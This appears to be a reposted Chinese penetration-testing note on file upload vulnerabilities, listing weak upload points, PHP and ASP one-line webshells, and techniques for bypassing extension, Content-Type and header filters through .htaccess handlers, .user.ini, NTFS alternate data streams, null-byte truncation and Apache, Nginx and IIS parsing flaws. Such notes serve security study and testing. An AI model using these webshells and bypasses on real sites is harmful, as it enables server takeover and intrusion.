zoukankan      html  css  js  c++  java
  • 文件上传

    文件上传

    文件上传的原因

    • 文件上传时检查不严格,可以直接上传php,asp等代码

    • 文件上传后修改文件名处理不当

    • 引用第三方插件

    • 服务器配置不当

    • 开源编辑器的上传漏洞

    • 本地文件上传限制被绕过

    • 文件解析漏洞导致文件执行

    • 文件路径截断

    引起的问题

    • 上传可执行脚本
    • 上传flash策略文件,可控制flash行为
    • 上传病毒、木马
    • 钓鱼、欺诈
    • webshell

    常见存在文件上传漏洞的地方

    • 头像
    • 网站logo
    • 友情链接
    • 编辑器
    • 后台中的文件上传
    • 模板管理
    • 主题管理
    • 插件管理
    • 写文章
    • 水印图片

    webshell

    <?php eval($_POST('pass'));?>
    <?php eval($_POST(pass));?>
    <?php @eval($_POST('pass'));?>
    <script language="php"> </script>
    
    <% eval request("caidao")%>
    

    绕过方式

    前端过滤

    • 禁用JS
    • 抓包绕过

    黑名单

    限制内容

    • 后缀
      • php 、php3、 php4、php5、php7、pht、phtml、phar、phps
      • asp、aspx、cer、cdx、asa、asax
      • jsp、jspa、jspx
    • Content-Type
    • 文件头
    • 文件任荣
    • 文件大小

    绕过方式

    • 大小写、双写、加空
    • 结合apache解析漏洞
    • .user.ini
    • .htaccess
    • 利用windows特性,会自动去掉后缀名中最后的”.” 在文件名后加 “ .” 绕过

    白名单

    限制内容

    • 后缀

    • Content-Type

      image/gif

    • 文件头

    • 文件大小

    绕过方式

    • %00截断
    • 解析漏洞
    • 文件包含
    • 条件竞争上传

    绕过方式总结

    .htaccess文件

    #类似于把文件名包含1的解析成php
    <FilesMatch "1">
    SetHandler application/x-httpd-php
    </FilesMatch>
    
    #将该目录下的所有文件解析为php文件来执行
    SetHandler application/x-httpd-php
    

    windows特性

    (1)上传 shell. php(%80-99)

    Windows特殊字符:

    当我们上传一个文件的filename为shell.php{%80-%99}时:
    waf可能识别为.php{%80-%99},就会导致被绕过。

    (2)文件名后添加.....

    Windows在创建文件时,在文件名末尾不管加多少点都会自动去除,那么上传时filename可以这么写shell.php…也可以这么写shell.php::$DATA…。

    (2) NTFS ADS特性

    上传的文件名 服务器表面现象 生成的文件内容
    Test.php:a.jpg 生成Test.php
    Test.php::$DATA 生成test.php
    Test.php::$INDEX_ALLOCATION 生成test.php文件夹
    Test.php::$DATA.jpg 生成0.jpg
    Test.php::$DATAaaa.jpg 生成aaa.jpg

    1php:.jpg这类文件在上传后,在 Windows中会被保存为一个空的1.php文件,然后可
    以再上传一个1.php<>或者1php<或者其他 Windows不允许的后缀,就会覆盖前边那个空的
    1.php

    Apache解析漏洞

    apache2.0、apache2.2

    成因
    由于 Apache识别文件的规则是根据后缀名从右往左进行识别,遇到不在识别范围内就会自动忽
    略,往左进行识别,如果左边是在解析范围內的就会正常解析,而一般程序进行判断文件是否
    允许上传是根据最后的后缀名进行判断的。

    Nginx解析漏洞

    1、配置错误导致的解析漏洞
    对于任意文件名,在后面加上/任意文件名php后该文件就会以php格式进行解析,是用户配置不
    当造成的
    2、00截断

    1. 版本 0.5.* |0.6.* | 0.7 - 0.7.65 | 0.8 - 0.8.37
      利用0截断,如shell.jpg%00.php
      访问以下网址,服务器将把xx.jpg文件当做php解析并执行。
      http://www.xxx.com/xx.jpg.php
    2. 版本0.8.41-1.5.6
      利用0截断,如shell.png%20%00.php

    .user.ini

    使用条件

    • 服务器脚本语言为PHP服务器使用CGI/ Fast模式
    • 上传目录下要有可执行的php文件
    • 例如: PHP study中使用 nginx中间件的时候就可以进行实验。
      使用方式
      (1)、上传一张图片
      (2)、上传 user. ini文件。内容为
      auto_prepend_file=2.jpg
      (3)访问:http://ip/UpLoad/2.png/xx.php(目录中存在的一个php文件)

    IIS解析漏洞

    IIS 5.×-6.x

    1. 目录名,包含 .asp.asa .cer,则该目录下的文件都将被解析为 .asp文件
    2. 文件名中,分号本身以及后面的都会被系统忽略 a.asp;.gif
    3. 文件名,文件后缀名字中为.asp .asa .cer,cdx 之一,都会被解析为 .asp文件

    IIS 7.0-7.5

    PHP CGI解析漏洞
    在默认Fast-CGI开启状况下,访问以下网址,服务器将把xx.jpg文件当做php解析并执行。

    http://www.xxx.com/xx.jpg/.php


    参考链接

    参考链接

  • 相关阅读:
    整合Grafana
    Prometheus环境搭建
    RocketMQ单机部署
    记二进制搭建k8s集群完成后,部署时容器一直在创建中的问题
    接口重复提交解决方案
    记一次生产环境nginx图片上传不了的问题
    怎么进行中间件的学习
    MongoDB学习笔记之文档
    MongoDB学习笔记
    根据端口杀掉指定进程
  • 原文地址:https://www.cnblogs.com/tomyyyyy/p/13144013.html
Copyright © 2011-2022 走看看